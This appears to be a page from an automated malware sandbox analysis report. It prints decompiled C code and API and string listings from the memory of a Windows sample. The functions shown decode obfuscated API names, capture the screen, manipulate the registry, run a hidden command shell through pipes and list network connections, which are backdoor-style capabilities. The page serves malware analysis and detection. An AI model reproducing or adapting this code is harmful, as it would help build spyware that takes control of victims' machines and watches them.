				signed int _v1136;
				int _v1144;
				int _v1148;
				char* _v1152;
				signed int _v1160;
				char _v1164;
				char _v1168;
				int* _v1172;
				int _v1176;
				int* _v1180;
				int* _v1184;
				int _v1188;
				int _v1192;
				intOrPtr _v1196;
				intOrPtr _v1200;
				signed char _v1204;
				int _v1208;
				int _v1212;
				int _v1216;
				int _v1220;
				char* _v1224;
				int _v1228;
				char* _v1232;
				int _v1236;
				int _t213;
				_Unknown_base(*)()* _t217;
				int _t218;
				_Unknown_base(*)()* _t221;
				int _t222;
				_Unknown_base(*)()* _t223;
				int _t224;
				signed int _t225;
				int _t231;
				void* _t239;
				void* _t243;
				void* _t263;
				char* _t264;
				int _t271;
				void* _t295;
				int _t296;
				signed char _t303;
				CHAR* _t306;
				intOrPtr* _t307;
				int _t308;
				struct HINSTANCE__* _t313;
				signed int _t314;
				signed int _t315;
				signed int _t316;
				signed char _t317;
				int* _t319;
				int _t321;
				intOrPtr* _t328;
				signed char _t329;
				int _t330;
				signed char _t331;
				struct HINSTANCE__* _t334;
				struct HINSTANCE__* _t335;
				char* _t336;
				char* _t337;
				int _t338;
				void* _t339;
				char** _t342;

				_t313 = __edx;
				_v1108 = 0;
				 *(memcpy( &_v1084, 0x4228a0, 4 << 2)) = 0;
				_v1104 = 0;
				_v1100 = 0;
				_v1096 = 0;
				_v1092 = 0;
				memcpy( &_v1068, 0x4228b0, 4 << 2);
				_t342 = _t339 - 0x48c + 0x18;
				_t334 = LoadLibraryA(E004081AA("2CQi5Yi4.Sii"));
				_t213 = 0;
				_push(_t306);
				if(_t334 == 0) {
					L38:
					return _t213;
				}
				_t328 = GetProcAddress(_t334, E004081AA("zCQi5TsdRzCQi5"));
				_v1180 = "zCQi5PiW6dzCQi5";
				_t217 = GetProcAddress(_t334, E004081AA(_t313));
				_v1180 = "zCQi5jRQld0C5dX5dl6";
				_v1128 = _t217;
				_t218 = E004081AA(0);
				_v1180 = _t334;
				_v1176 = _t218;
				_t307 = GetProcAddress(0, _t313);
				_v1180 = "zCQi5Ed5X5dl";
				_t221 = GetProcAddress(_t334, E004081AA(_t306));
				_v1180 = "zCQi5Ed5X5dl";
				_v1124 = _t221;
				_t222 = E004081AA(_t335);
				_v1180 = _t334;
				_v1176 = _t222;
				_t223 = GetProcAddress(_t335, _t306);
				_v1180 = "zCQi5_0dd";
				_v1120 = _t223;
				_t224 = E004081AA(_t313);
				_v1180 = _t334;
				_v1176 = _t224;
				_t225 = GetProcAddress(_t313, ??);
				_push(0);
				_push(0);
				_t314 = _t313 & 0xffffff00 | _t328 == 0x00000000;
				_v1136 = _t225;
				_t315 = _t314 & 0xffffff00 | _v1128 == 0x00000000;
				_t316 = _t315 & 0xffffff00 | _v1124 == 0x00000000;
				_t317 = _t316 & 0xffffff00 | _v1120 == 0x00000000;
				if((_t225 & 0xffffff00 | _t307 == 0x00000000 | _t314 | _t315 | _t316 | _t317) != 0 || _v1136 == 0) {
					L3:
					_t308 = 0;
					goto L33;
				} else {
					_v1176 = 0;
					_v1172 =  &_v1104;
					_v1180 =  &_v1084;
					_t239 =  *_t328();
					_t342 = _t342 - 0xc;
					if(_t239 != 0) {
						goto L3;
					}
					_v1188 = 0x200;
					_v1180 =  &_v1108;
					_v1184 =  &_v1112;
					_v1192 = _v1116;
					_t243 =  *_t307();
					_t342 = _t342 - 0x10;
					if(_t243 != 0 || _v1128 == 0) {
						goto L3;
					} else {
						if(E004132E6(0, _t317) != 0xa) {
							if(E004132E6(0, _t317) == 0xc || E004132E6(0, _t317) == 0xb || E004132E6(0, _t317) == 0xe || E004132E6(0, _t317) == 0xd || E004132E6(0, _t317) == 0xf) {
								goto L8;
							} else {
								_v1160 = 0;
								_t308 = 0;
								while(_v1160 < _v1128) {
									_v1200 = 0x10;
									_t317 = _v1124 + _v1160 * 0x34;
									_v1204 =  &_v1096;
									_v1208 = _t317;
									_t331 = _t317;
									if(E004129C0() == 0) {
										WideCharToMultiByte(0, 0,  *(_t331 + 0x10), 0xffffffff,  &_v1080, 0x100, 0, 0);
										WideCharToMultiByte(0, 0,  *((intOrPtr*)(_t331 + 0x14)) + 0x20, 0xffffffff,  &_v824, 0x100, 0, 0);
										_t337 =  &_v568;
										WideCharToMultiByte(0, 0,  *((intOrPtr*)(_t331 + 0x18)) + 0x20, 0xffffffff, _t337, 0x100, 0, 0);
										_v1188 = 0;
										_v1192 = 0;
										_v1120 = 0;
										_v1184 =  &_v1120;
										_v1196 =  *((intOrPtr*)(_t331 + 0x18));
										_v1204 = _t331;
										_v1200 =  *((intOrPtr*)(_t331 + 0x14));
										_v1208 = _v1132;
										_t295 = _v1152();
										_t342 = _t342 - 0xffffffffffffffc4;
										if(_t295 == 0) {
											_t321 =  &_v340;
											_v1208 = 0;
											_v1212 = 0;
											_v1216 = 0x100;
											_v1220 = _t321;
											_v1224 = 0xffffffff;
											_v1232 = 0;
											_v1236 = 0;
											_v1176 = _t321;
											_v1228 =  *((intOrPtr*)(_v1148 + 0x1c)) + 0x20;
											WideCharToMultiByte(??, ??, ??, ??, ??, ??, ??, ??);
											_t342 = _t342 - 0x20;
											_t317 = _v1176;
											_v1220 = _t337;
											_t338 =  &_v1144;
											_v1228 = 2;
											_v1232 = 0x4239a1;
											_v1224 =  &_v852;
											_v1144 = 0;
											_v1216 = _t317;
											_v1236 = _t338;
											_t303 = E00412755( &_v852);
											_t331 = _t303;
											if(_t303 != 0xffffffff) {
												_v1224 = _t303;
												_v1232 = _t308;
												_v1220 = 1;
												_v1228 = _t338;
												_t308 = _t308 + _t331;
												_v1236 =  &_v1164;
												_v1164 = E00412ABF(0);
											}
										}
										_t296 = _v1148;
										if(_t296 != 0) {
											_v1236 = _t296;
											_v1192();
											_push(_t331);
										}
									}
									_v1188 =  &(1[_v1188]);
								}
								L33:
								_t231 = _v1096;
								if(_t231 != 0) {
									_v1180 = _t231;
									_v1136();
									_push(0);
								}
								if(_v1104 != 0) {
									_v1180 =  &_v1104;
									_v1128();
									_push(_t317);
								}
								_push(FreeLibrary(_t334));
								 *_a4 = _t308;
								_t213 = _v1108;
								goto L38;
							}
						}
						L8:
						_v1160 = 0;
						_t308 = 0;
						while(_v1160 < _v1128) {
							_v1200 = 0x10;
							_t317 = _v1124 + _v1160 * 0x38;
							_v1204 =  &_v1096;
							_v1208 = _t317;
							_t329 = _t317;
							if(E004129C0() == 0) {
								WideCharToMultiByte(0, 0,  *(_t329 + 0x10), 0xffffffff,  &_v1080, 0x100, 0, 0);
								WideCharToMultiByte(0, 0,  *((intOrPtr*)(_t329 + 0x14)) + 0x20, 0xffffffff,  &_v824, 0x100, 0, 0);
								_t336 =  &_v568;
								WideCharToMultiByte(0, 0,  *((intOrPtr*)(_t329 + 0x18)) + 0x20, 0xffffffff, _t336, 0x100, 0, 0);
								_v1184 = 0;
								_v1188 = 0;
								_v1192 = 0;
								_v1120 = 0;
								_v1180 =  &_v1120;
								_v1196 =  *((intOrPtr*)(_t329 + 0x18));
								_v1204 = _t329;
								_v1200 =  *((intOrPtr*)(_t329 + 0x14));
								_v1208 = _v1132;
								_t263 = _v1148();
								_t342 = _t342 - 0xffffffffffffffc0;
								if(_t263 == 0) {
									_t319 =  &_v344;
									_v1212 = 0;
									_v1216 = 0;
									_v1220 = 0x100;
									_v1224 = _t319;
									_v1228 = 0xffffffff;
									_v1236 = 0;
									 *_t342 = 0;
									_v1184 = _t319;
									_v1232 = _v1152[0x1c] + 0x20;
									WideCharToMultiByte(??, ??, ??, ??, ??, ??, ??, ??);
									_t342 = _t342 - 0x20;
									_t317 = _v1184;
									_v1224 = _t336;
									_t336 =  &_v1148;
									_v1232 = 2;
									_v1236 = 0x4239a1;
									_v1228 =  &_v856;
									_v1148 = 0;
									_v1220 = _t317;
									 *_t342 = _t336;
									_t271 = E00412755( &_v856);
									_t330 = _t271;
									if(_t271 != 0xffffffff) {
										_v1228 = _t271;
										_v1236 = _t308;
										_v1224 = 1;
										_v1232 = _t336;
										_t308 = _t308 + _t330;
										 *_t342 =  &_v1168;
										_v1168 = E00412ABF(0);
									}
								}
								_t264 = _v1152;
								if(_t264 != 0) {
									 *_t342 = _t264;
									_v1196();
									_push(_t336);
								}
							}
							_v1192 =  &(1[_v1192]);
						}
						goto L33;
					}
				}
			}

APIs

LoadLibraryA.KERNEL32 ref: 0040DD57
GetProcAddress.KERNEL32(?), ref: 0040DD7C
GetProcAddress.KERNEL32 ref: 0040DD98
GetProcAddress.KERNEL32 ref: 0040DDB6
GetProcAddress.KERNEL32(?,?), ref: 0040DDD2
GetProcAddress.KERNEL32 ref: 0040DDF0
GetProcAddress.KERNEL32 ref: 0040DE0E
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E397

Part of subcall function 004132E6: GetVersionExA.KERNEL32 ref: 00413325
Part of subcall function 004132E6: GetSystemMetrics.USER32 ref: 004133FA

WideCharToMultiByte.KERNEL32 ref: 0040DF74
WideCharToMultiByte.KERNEL32 ref: 0040DFC0
WideCharToMultiByte.KERNEL32 ref: 0040E00C
WideCharToMultiByte.KERNEL32 ref: 0040E0B0
WideCharToMultiByte.KERNEL32 ref: 0040E1B4
WideCharToMultiByte.KERNEL32 ref: 0040E200
WideCharToMultiByte.KERNEL32 ref: 0040E24C
WideCharToMultiByte.KERNEL32 ref: 0040E2E8

Strings

zCQi5jRQld0C5dX5dl6, xrefs: 0040DD9F
zCQi5Ed5X5dl, xrefs: 0040DDBF, 0040DDD9
zCQi5TsdRzCQi5, xrefs: 0040DD69
2CQi5Yi4.Sii, xrefs: 0040DD48
zCQi5PiW6dzCQi5, xrefs: 0040DD85
zCQi5_0dd, xrefs: 0040DDF7

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ByteCharMultiWide$AddressProc$Library$FreeLoadMetricsSystemVersion
String ID: 2CQi5Yi4.Sii$zCQi5Ed5X5dl$zCQi5PiW6dzCQi5$zCQi5TsdRzCQi5$zCQi5_0dd$zCQi5jRQld0C5dX5dl6
API String ID: 4051271034-1136301387
Opcode ID: 87aafaf84040a22bc4a574d69e3875252030c0c31ccf32c7b5f1b702cec560f4
Instruction ID: 0411f2c87eaa10a6bc819440aee1928311a11f64f3fd3897648e7812cf6e01f9
Opcode Fuzzy Hash: 87aafaf84040a22bc4a574d69e3875252030c0c31ccf32c7b5f1b702cec560f4
Instruction Fuzzy Hash: 6802ADB04087419FD310EF6AC58875BBBE4BF84358F108D2EF4948B291E7B9D5898F96

Uniqueness

Uniqueness Score: -1.00%

Function 00411D8C, Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 195windowCOMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00411DBD
GetSystemMetrics.USER32 ref: 00411DCC
GetDesktopWindow.USER32 ref: 00411DD4
GetDC.USER32 ref: 00411DFD
CreateCompatibleDC.GDI32 ref: 00411E08
CreateCompatibleBitmap.GDI32(?,?), ref: 00411E1D
SelectObject.GDI32 ref: 00411E4F
BitBlt.GDI32(00000000,00000000), ref: 00411E91
GetDIBits.GDI32 ref: 00411F17
calloc.MSVCRT ref: 00411F9C
GetDIBits.GDI32 ref: 00411FD7
ReleaseDC.USER32 ref: 00412044
DeleteDC.GDI32(00000000), ref: 00412052
DeleteObject.GDI32 ref: 0041205B
free.MSVCRT(?,00000000), ref: 004120B2

Strings

6, xrefs: 00411F47
(, xrefs: 00412003
, xrefs: 00411E5A
BM, xrefs: 00411F32
(, xrefs: 00411F58

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: BitsCompatibleCreateDeleteMetricsObjectSystem$BitmapDesktopReleaseSelectWindowcallocfree
String ID: $($($6$BM
API String ID: 3075093512-2637400849
Opcode ID: d7d7e5d3c01187142e8c43228c98c6042b0c96f3a722dfa341cae57414d2b9e1
Instruction ID: c42d9fa6f562a18c3eedbb1c72d559f421865ac330c7369b2ec7bacda9b62638
Opcode Fuzzy Hash: d7d7e5d3c01187142e8c43228c98c6042b0c96f3a722dfa341cae57414d2b9e1
Instruction Fuzzy Hash: 4781BDB05093409FD310EF6AD68475BBBE4AF88744F40892EF58887351E7B9D8888B5B

Uniqueness

Uniqueness Score: -1.00%

Function 00410FC4, Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 236
registryCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00410FC4(void* __ecx, long _a4, long _a8, int* _a12, void* _a16, long _a20, long _a24, long _a28, intOrPtr _a32) {
				long _v544;
				long _v548;
				int _v552;
				void* _v556;
				long* _v572;
				void** _v576;
				char* _v580;
				int* _v584;
				long _v588;
				long* _v592;
				int _v596;
				char* _v600;
				signed int _t122;
				signed int _t130;
				int* _t134;
				long _t135;
				void* _t137;
				intOrPtr* _t138;

				_t138 = _t137 - 0x24c;
				_t135 = _a8;
				_t134 = _a12;
				_t122 = _a32 - 1;
				if(_t122 > 5) {
					L28:
					_t130 = 0;
					L29:
					return _t130;
				}
				switch( *((intOrPtr*)(_t122 * 4 +  &M0042444C))) {
					case 0:
						_v580 = 0;
						_v584 = 0xf003f;
						_v588 = 0;
						_v592 = 0;
						_v572 =  &_v548;
						_v596 = 0;
						_v600 = _t134;
						 *_t138 = _t135;
						_v576 =  &_v556;
						_t126 = RegCreateKeyExA(??, ??, ??, ??, ??, ??, ??, ??, ??);
						_t138 = _t138 - 0x24;
						if(_t126 != 0) {
							goto L28;
						}
						_v584 = _t134;
						_v588 = _t135;
						_v592 = 1;
						goto L7;
					case 1:
						__eax =  &_v556;
						__eax = RegOpenKeyExA(__esi, __edi, 0, 0x2001f,  &_v556);
						__esp = __esp - 0x14;
						if(__eax != 0) {
							goto L28;
						}
						__eax = _a28;
						_v596 = 0;
						_v600 = __ebp;
						_v584 = _a28;
						__eax = _a24;
						_v588 = _a24;
						__eax = _a20;
						_v592 = _a20;
						__eax = _v556;
						 *__esp = _v556;
						__eax = RegSetValueExA(??, ??, ??, ??, ??, ??);
						__esp = __esp - 0x18;
						__ebx = __eax;
						__eax = _v556;
						_push(RegCloseKey(_v556));
						if(__ebx != 0) {
							goto L28;
						}
						_v584 = __edi;
						_v588 = __esi;
						_v592 = 2;
						L7:
						_t131 =  &_v544;
						_v596 = "%c%.8x%s";
						_v600 = 0x204;
						 *_t138 = _t131;
						_t127 = E004127A8();
						goto L14;
					case 2:
						__eax = E0041086B(__ecx, __esi, __edi, __ebp);
						__bl = __al;
						if(__al == 0) {
							goto L28;
						}
						_v588 = __esi;
						__esi =  &_v544;
						_v580 = __ebp;
						_v584 = __edi;
						__eax = E004127A8(__esi, 0x204, "%c%.8x%s%s", 3);
						if(__eax == 0) {
							goto L16;
						}
						goto L27;
					case 3:
						__eax =  &_v556;
						__eax = RegOpenKeyExA(__esi, __edi, 0, 0x2001f,  &_v556);
						__esp = __esp - 0x14;
						if(__eax != 0) {
							goto L28;
						}
						__eax = _v556;
						__ebx = RegDeleteValueA(_v556, __ebp);
						_push(__ecx);
						__eax = _v556;
						 *__esp = _v556;
						_push(RegCloseKey(__ecx));
						if(__ebx != 0) {
							goto L28;
						}
						__ebx =  &_v544;
						_v580 = __ebp;
						_v584 = __edi;
						_v588 = __esi;
						__eax = E004127A8( &_v544, 0x204, "%c%.8x%s\\%s", 4);
						L14:
						if(_t127 != 0) {
							_v592 = _t127;
							_v596 = _t131;
							_v600 = 0xe8;
							 *_t138 = _a4;
							E00405D7D(_t133);
						}
						L16:
						_t130 = 1;
						goto L29;
					case 4:
						goto L28;
					case 5:
						__eax =  &_v556;
						__eax = RegOpenKeyExA(__esi, __edi, 0, 0x2001f,  &_v556);
						__esp = __esp - 0x14;
						if(__eax != 0) {
							goto L28;
						}
						__eax =  &_v552;
						_v588 = 0;
						_v596 = 0;
						_v600 = __ebp;
						__ebx = 0;
						_v584 =  &_v552;
						__eax =  &_v548;
						_v592 =  &_v548;
						__eax = _v556;
						 *__esp = _v556;
						__eax = RegQueryValueExA(??, ??, ??, ??, ??, ??);
						__esp = __esp - 0x18;
						if(__eax != 0) {
							L25:
							__eax = _v556;
							_push(RegCloseKey(_v556));
							if(__bl == 0) {
								goto L29;
							}
							__eax = _a24;
							_v588 = __esi;
							__esi =  &_v544;
							_v576 = __ebp;
							_v584 = __edi;
							_v592 = 6;
							_v596 = 0x42443c;
							_v580 = _a24;
							_v600 = 0x204;
							 *__esp = __esi;
							__eax = E004127A8();
							if(__eax == 0) {
								goto L29;
							}
							L27:
							_v592 = __eax;
							__eax = _a4;
							_v596 = __esi;
							_v600 = 0xe8;
							 *__esp = _a4;
							__eax = E00405D7D(__edx);
							goto L29;
						}
						__eax = _v552;
						__eax = malloc(_v552);
						_v544 = __eax;
						if(__eax == 0) {
							goto L25;
						}
						_v588 = __eax;
						__eax =  &_v548;
						__edx =  &_v552;
						_v596 = 0;
						_v600 = __ebp;
						_v592 =  &_v548;
						__eax = _v556;
						_v584 = __edx;
						 *__esp = _v556;
						__eax = RegQueryValueExA(??, ??, ??, ??, ??, ??);
						__esp = __esp - 0x18;
						if(__eax == 0) {
							__eax = _v552;
							_v596 = 0;
							_v584 = _v552;
							__eax = _v544;
							_v588 = _v544;
							__eax = _v548;
							_v592 = _v548;
							__eax = _a24;
							_v600 = _a24;
							__eax = _v556;
							 *__esp = _v556;
							__eax = RegSetValueExA(??, ??, ??, ??, ??, ??);
							__esp = __esp - 0x18;
							if(__eax != 0) {
								goto L21;
							}
							__eax = _v556;
							__eax = RegDeleteValueA(_v556, __ebp);
							_push(__edx);
							_push(__edx);
							__ebx = 0 | __eax == 0x00000000;
							L24:
							 &_v544 = E00407F59( &_v544);
							goto L25;
						}
						L21:
						__ebx = 0;
						goto L24;
				}
			}

APIs

RegCreateKeyExA.ADVAPI32 ref: 0041103A
RegOpenKeyExA.ADVAPI32 ref: 0041107E
RegSetValueExA.ADVAPI32 ref: 004110C2
RegCloseKey.ADVAPI32 ref: 004110D3
RegOpenKeyExA.ADVAPI32 ref: 00411188
RegDeleteValueA.ADVAPI32 ref: 004111A3
RegCloseKey.ADVAPI32 ref: 004111B3
RegOpenKeyExA.ADVAPI32 ref: 0041123A
RegQueryValueExA.ADVAPI32 ref: 00411277
malloc.MSVCRT ref: 0041128E
RegQueryValueExA.ADVAPI32 ref: 004112C6
RegSetValueExA.ADVAPI32 ref: 00411308
RegDeleteValueA.ADVAPI32 ref: 0041131F
RegCloseKey.ADVAPI32 ref: 0041133E

Strings

%c%.8x%s\%s, xrefs: 004111D9
%c%.8x%s%s, xrefs: 00411144
?, xrefs: 00411007
%c%.8x%s, xrefs: 004110F5

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Value$CloseOpen$DeleteQuery$Createmalloc
String ID: %c%.8x%s$%c%.8x%s%s$%c%.8x%s\%s$?
API String ID: 2456196832-1127014073
Opcode ID: c501c4808e15cc04fe861872cde08b73175686e9ea4b029292f074e81bfbb04e
Instruction ID: 5e49c9d9379b1dd87b15daa38270e0e0a3fc6f91244b4719e2a77dc22190009b
Opcode Fuzzy Hash: c501c4808e15cc04fe861872cde08b73175686e9ea4b029292f074e81bfbb04e
Instruction Fuzzy Hash: DAB1CFB0909345AFD700EF69D18469FFBE4BF84744F40892EF99887311D7B8D5898B46

Uniqueness

Uniqueness Score: -1.00%

Function 004113B8, Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 198pipeprocessfileCOMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 004113D7

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

getenv.MSVCRT ref: 0041140B
CreatePipe.KERNEL32 ref: 004114B1
CreatePipe.KERNEL32 ref: 004114E0
GetStartupInfoA.KERNEL32 ref: 004114F3
CreateProcessA.KERNEL32 ref: 0041156E
CloseHandle.KERNEL32 ref: 004115A8
CloseHandle.KERNEL32(?), ref: 004115B7

Part of subcall function 00405D7D: EnterCriticalSection.KERNEL32 ref: 00405DAD
Part of subcall function 00405D7D: LeaveCriticalSection.KERNEL32 ref: 00405ECC

PeekNamedPipe.KERNEL32 ref: 0041161A
malloc.MSVCRT ref: 0041163E
ReadFile.KERNEL32 ref: 0041166C
CloseHandle.KERNEL32 ref: 004116BB
CloseHandle.KERNEL32(00000000), ref: 004116C9
TerminateProcess.KERNEL32(?,00000000), ref: 004116DE

Strings

ComSpec, xrefs: 004113C9
%6\6Z65dlNh\YlS.dfd, xrefs: 00411410
WINDIR, xrefs: 00411404
D, xrefs: 0041144E

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseHandle$CreatePipe$CriticalFileProcessSectiongetenv$AttributesByteCharEnterInfoLeaveMultiNamedPeekReadStartupTerminateWide_vsnprintfmalloc
String ID: %6\6Z65dlNh\YlS.dfd$ComSpec$D$WINDIR
API String ID: 875277771-1530679608
Opcode ID: 616a6ba28ebc10187a6d919c1e322df4324662c86dc99716dd64c8a11bba0f52
Instruction ID: c0a2dff8ecfd3ca449ec7184aa16f3f0f3f293b9e2d18e22baf8a99b3bb4e763
Opcode Fuzzy Hash: 616a6ba28ebc10187a6d919c1e322df4324662c86dc99716dd64c8a11bba0f52
Instruction Fuzzy Hash: F4919EB05087419FD710AF65C18875FBBE4AF84748F01892EE5D88B3A1D7B99489CF8A

Uniqueness

Uniqueness Score: -1.00%

Function 0040262F, Relevance: 30.0, APIs: 8, Strings: 9, Instructions: 282
networkCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E0040262F(signed int __ecx, signed int __edx, intOrPtr _a4) {
				char _v608;
				char _v624;
				char _v868;
				char _v876;
				char _v916;
				intOrPtr _v936;
				signed short _v944;
				void* _v948;
				intOrPtr _v964;
				intOrPtr _v968;
				void* _v972;
				intOrPtr _v976;
				void* _v980;
				char _v988;
				int _v996;
				void* _v1000;
				signed short _v1004;
				void* _v1008;
				signed int _v1010;
				signed short _v1012;
				signed short _v1014;
				intOrPtr _v1016;
				signed int _v1018;
				char* _v1020;
				signed short _v1022;
				void* _v1024;
				signed short _v1028;
				void* _v1032;
				signed short _v1036;
				signed int _v1040;
				signed int _v1048;
				signed short _v1052;
				void* _v1056;
				signed int _v1060;
				signed int _v1064;
				signed int _v1068;
				signed int _v1072;
				signed int _v1076;
				char _v1080;
				signed int _v1084;
				signed int _v1088;
				signed int _v1092;
				signed int _v1096;
				intOrPtr _t139;
				intOrPtr _t140;
				intOrPtr _t141;
				intOrPtr* _t144;
				void* _t147;
				void* _t150;
				void* _t162;
				void* _t163;
				void* _t165;
				void* _t166;
				intOrPtr* _t169;
				void* _t170;
				signed int _t171;
				signed int _t180;
				void* _t184;
				void* _t185;
				signed short _t188;
				void* _t189;
				signed int _t190;
				void* _t194;
				signed int _t195;
				signed int _t208;
				intOrPtr* _t213;
				signed int _t215;
				signed int _t216;
				signed int _t218;
				signed int _t219;
				signed int _t221;
				signed int _t222;
				signed int _t225;
				signed int _t233;
				void** _t234;
				signed int _t235;
				signed int _t236;
				signed int _t237;
				signed int _t238;
				signed short* _t239;
				void** _t240;
				void* _t241;
				signed int* _t242;

				_t225 = __edx;
				_t222 = __ecx;
				_t239 =  &_v1004;
				E0041236C( &_v944, 0x8000);
				_t139 = E00407F7A(_t225, "iphlpapi.dll");
				_v1020 = "psapi.dll";
				_v976 = _t139;
				_t140 = E00407F7A(_t225);
				_v1020 = "kernel32.dll";
				_v968 = _t140;
				_t141 = E00407F7A(_t225);
				_v1020 = "Ed5jf5dRSdSqYsqCVid";
				_v964 = _t141;
				_t144 = E00407F8E(_t225, _v976, E004081AA());
				_v1020 = "Ed5jf5dRSdSuSsqCVid";
				_t213 = _t144;
				_t147 = E00407F8E(_t225, _v976, E004081AA());
				_v1020 = "Ed590WYd66XlCnd_4idLCldD";
				_v972 = _t147;
				_t150 = E00407F8E(_t225, _v968, E004081AA());
				if(_t150 == 0) {
					_t150 = E00407F8E(_t225, _v964, E004081AA("Ed590WYd66XlCnd_4idLCldD"));
				}
				_t226 = _t225 & 0xffffff00 | _t213 == 0x00000000;
				_t224 = _t222 & 0xffffff00 | _v972 == 0x00000000 | _t225 & 0xffffff00 | _t213 == 0x00000000;
				if((_t222 & 0xffffff00 | _v972 == 0x00000000 | _t225 & 0xffffff00 | _t213 == 0x00000000) != 0 || _t150 == 0) {
					L24:
					_t214 =  &_v944;
					if(_v936 == 0) {
						_v1008 = 0;
						_v1012 = 0;
						_v1016 = 0xe5;
					} else {
						_v1008 = E00412540( &_v944);
						_v1016 = 0xe4;
						_v1012 = _v944;
					}
					E00405D7D(_t226, _a4);
					E004123B1(_t214);
					E00407FAB(_v976);
					E00407FAB(_v968);
					return E00407FAB(_v964);
				} else {
					_t234 =  &_v948;
					_v948 = 0;
					_v1000 = 0;
					_v1004 = 5;
					_v1008 = 2;
					_v1012 = 1;
					_v1016 = _t234;
					_v1020 = 0;
					_t162 =  *_t213();
					_t240 = _t239 - 0x18;
					if(_t162 != 0x7a) {
						L14:
						_t215 =  &_v972;
						_v972 = 0;
						_v1024 = 0;
						_v1028 = 1;
						_v1032 = 2;
						_v1036 = 1;
						_v1040 = _t215;
						 *_t240 = 0;
						_t163 = _v996();
						_t241 = _t240 - 0x18;
						if(_t163 != 0x7a) {
							goto L24;
						}
						_t165 = malloc(_v996);
						_v1000 = _t165;
						if(_t165 == 0) {
							goto L24;
						}
						_v1048 = 0;
						_v1052 = 1;
						_v1056 = 2;
						_v1060 = 1;
						_v1064 = _t215;
						_v1068 = _t165;
						_t166 = _v1020();
						_t242 = _t241 - 0x18;
						if(_t166 != 0) {
							L22:
							if(_v1024 != 0) {
								E00407F59( &_v1024);
							}
							goto L24;
						}
						_t235 = 0;
						_t237 =  &_v876;
						while(1) {
							_t169 = _v1024;
							if(_t235 >=  *_t169) {
								goto L22;
							}
							_t216 = _t235 * 0xc;
							_t170 = _t169 + _t216;
							_t171 =  *(_t170 + 8) & 0x0000ffff;
							_v1092 = _t171;
							L0041F914();
							_v1096 =  *((intOrPtr*)(_t170 + 4));
							_v1048 = _t171;
							L0041F924();
							_v1088 = _t171;
							_v1092 = 0x422c01;
							_v1096 = 0x40;
							_v1084 = _v1052 & 0x0000ffff;
							 *_t242 =  &_v1012;
							E004127A8();
							_v1092 = 0x104;
							_v1096 = _t237;
							 *_t242 =  *(_v1032 + _t216 + 0xc);
							E00402570(_t224, _t226, __eflags, _t224, _t226);
							_v1080 =  &_v1012;
							_t218 =  &_v624;
							_v1088 = _t237;
							_v1092 = 0x422c07;
							_v1096 = 0x204;
							 *_t242 = _t218;
							_v1084 =  *(_v1032 + _t216 + 0xc);
							_t180 = E004127A8();
							__eflags = _t180;
							if(_t180 > 0) {
								_v1092 = _t180;
								_v1096 = _t218;
								 *_t242 =  &_v1024;
								E00412458( &_v1024, _t226);
							}
							_t235 = _t235 + 1;
							__eflags = _t235;
						}
						goto L22;
					}
					 *_t240 = _v972;
					_t184 = malloc(??);
					_v980 = _t184;
					if(_t184 == 0) {
						goto L24;
					}
					_v1024 = 0;
					_v1028 = 5;
					_v1032 = 2;
					_v1036 = 1;
					_v1040 = _t234;
					 *_t240 = _t184;
					_t185 =  *_t213();
					_t240 = _t240 - 0x18;
					if(_t185 != 0) {
						L12:
						if(_v1004 != 0) {
							E00407F59( &_v1004);
						}
						goto L14;
					}
					_t236 = 0;
					_t238 =  &_v916;
					while(1) {
						_t188 = _v1004;
						if(_t236 >=  *_t188) {
							goto L12;
						}
						_t219 = _t236 * 0x18;
						_t189 = _t188 + _t219;
						_t190 =  *(_t189 + 0xc) & 0x0000ffff;
						_v1068 = _t190;
						L0041F914();
						_v1072 =  *((intOrPtr*)(_t189 + 8));
						_v1010 = _t190;
						L0041F924();
						_v1064 = _t190;
						_v1068 = "%s:%u";
						_v1072 = 0x40;
						_v1060 = _v1014 & 0x0000ffff;
						_v1076 =  &_v988;
						E004127A8();
						_t194 = _v1012 + _t219;
						_t195 =  *(_t194 + 0x14) & 0x0000ffff;
						_v1076 = _t195;
						L0041F914();
						_v1080 =  *((intOrPtr*)(_t194 + 0x10));
						_v1018 = _t195;
						L0041F924();
						_v1072 = _t195;
						_v1076 = "%s:%u";
						_v1080 = 0x40;
						_v1084 = _t238;
						_v1068 = _v1022 & 0x0000ffff;
						_t233 =  &_v868;
						E004127A8(_t224, _t226, _t224, _t226);
						_v1076 = 0x104;
						E00402570(_t224, _t226, __eflags, ( &(_v1020[_t219]))[0x18], _t233);
						_v1056 = E004081AA( *((intOrPtr*)(0x422ca0 + ( &(_v1020[_t219]))[4] * 4)));
						_v1060 = _t238;
						_v1064 =  &_v996;
						_t221 =  &_v608;
						_v1072 = _t233;
						_v1076 = 0x422bed;
						_v1080 = 0x204;
						_v1084 = _t221;
						_v1068 = ( &(_v1020[_t219]))[0x18];
						_t208 = E004127A8();
						__eflags = _t208;
						if(_t208 > 0) {
							E00412458( &_v1008, _t226,  &_v1008, _t221, _t208);
						}
						_t236 = _t236 + 1;
						__eflags = _t236;
					}
					goto L12;
				}
			}

APIs

